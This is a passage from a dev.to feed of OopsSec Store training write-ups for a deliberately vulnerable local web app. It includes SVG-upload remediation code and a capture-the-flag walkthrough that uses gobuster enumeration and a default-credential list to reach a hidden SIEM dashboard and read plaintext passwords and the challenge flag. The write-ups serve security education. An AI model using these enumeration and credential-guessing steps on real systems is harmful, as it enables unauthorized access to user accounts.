  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Image&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;alt&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; treats the SVG as a full document and runs scripts inside it. An &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag would render the SVG but block script execution.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;The fix has three parts, and you should apply all of them. Any one alone would stop this particular exploit, but defense in depth matters when you're handling user uploads.&lt;/p&gt;

&lt;p&gt;First, stop trusting the Content-Type header and inspect the actual bytes:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;fileTypeFromBuffer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;file-type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;arrayBuffer&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;detectedType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fileTypeFromBuffer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;SAFE_MIME_TYPES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/jpeg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/gif&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/webp&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;detectedType&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;SAFE_MIME_TYPES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;detectedType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mime&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid file type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;SVG isn't on the safe list, so this blocks the upload entirely. If you actually need SVG support, sanitize it server-side with DOMPurify before saving:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;isomorphic-dompurify&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/svg+xml&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;svgContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;utf-8&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sanitizedSvg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;svgContent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;USE_PROFILES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;svgFilters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sanitizedSvg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This strips &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags and event handlers from the SVG content.&lt;/p&gt;

&lt;p&gt;Finally, serve uploaded files with headers that prevent script execution regardless of what got through:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// next.config.js&lt;/span&gt;
&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;source&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/uploads/:path*&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script-src 'none'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;X-Content-Type-Options&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;nosniff&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;script-src 'none'&lt;/code&gt; blocks all script execution in the response. &lt;code&gt;nosniff&lt;/code&gt; stops browsers from guessing a different content type.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>nextjs</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Dumping Every User's Plaintext Password Without Touching the Database</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Sat, 19 Sep 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/dumping-every-users-plaintext-password-without-touching-the-database-34ob</link>
      <guid>https://dev.to/oopssec-store/dumping-every-users-plaintext-password-without-touching-the-database-34ob</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Exploiting a forgotten debug statement that logs plaintext passwords and a hidden SIEM dashboard with hardcoded credentials to retrieve a flag.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Someone left a debug log in the login route that dumps passwords in plaintext. Those logs end up on a hidden SIEM dashboard protected by default credentials. We'll find it, log in, and read everyone's passwords.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Login mechanism
&lt;/h3&gt;

&lt;p&gt;There's a login form at &lt;code&gt;/login&lt;/code&gt;. Submitting credentials sends a POST to &lt;code&gt;/api/auth/login&lt;/code&gt; with a JSON body:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"alice@example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"test"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The response doesn't leak anything useful whether login succeeds or fails.&lt;/p&gt;
&lt;h3&gt;
  
  
  Directory enumeration
&lt;/h3&gt;

&lt;p&gt;Run gobuster (or any directory brute-forcer) against the app:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://localhost:3000 &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;/monitoring&lt;/code&gt; shows up, which is worth poking at. Enumerate one level deeper:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://localhost:3000/monitoring &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This turns up &lt;code&gt;/monitoring/siem&lt;/code&gt; -- not linked anywhere in the app.&lt;/p&gt;
&lt;h2&gt;
  
  
  The SIEM dashboard
&lt;/h2&gt;

&lt;p&gt;Hit &lt;code&gt;http://localhost:3000/monitoring/siem&lt;/code&gt; and you get a login form titled "SIEM Console -- Internal Monitoring System."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjpw53tbaeyzf44cnp90d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjpw53tbaeyzf44cnp90d.png" alt="Login Page SIEM" width="545" height="446"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An internal log viewer sitting on a public port. Promising.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bypassing SIEM authentication
&lt;/h2&gt;

&lt;p&gt;Internal tool, hastily deployed -- default credentials are always worth a shot:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;admin&lt;/td&gt;
&lt;td&gt;admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;root&lt;/td&gt;
&lt;td&gt;admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;root&lt;/td&gt;
&lt;td&gt;root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;admin&lt;/td&gt;
&lt;td&gt;password&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;root&lt;/code&gt; / &lt;code&gt;admin&lt;/code&gt; gets us in.&lt;/p&gt;
&lt;h2&gt;
  
  
  Triggering the credential leak
&lt;/h2&gt;

&lt;p&gt;The dashboard is empty until someone actually logs in. Fire off a login attempt on the main app:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/auth/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"email":"alice@example.com","password":"iloveduck"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Reading the logs
&lt;/h2&gt;

&lt;p&gt;Back on the SIEM dashboard, the log table shows all captured log output. Search for &lt;code&gt;[auth]&lt;/code&gt; or &lt;code&gt;login attempt&lt;/code&gt; and you'll see something like:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[auth] login attempt email=alice@example.com password=iloveduck flag=OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The flag is &lt;code&gt;OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}&lt;/code&gt;.&lt;/p&gt;

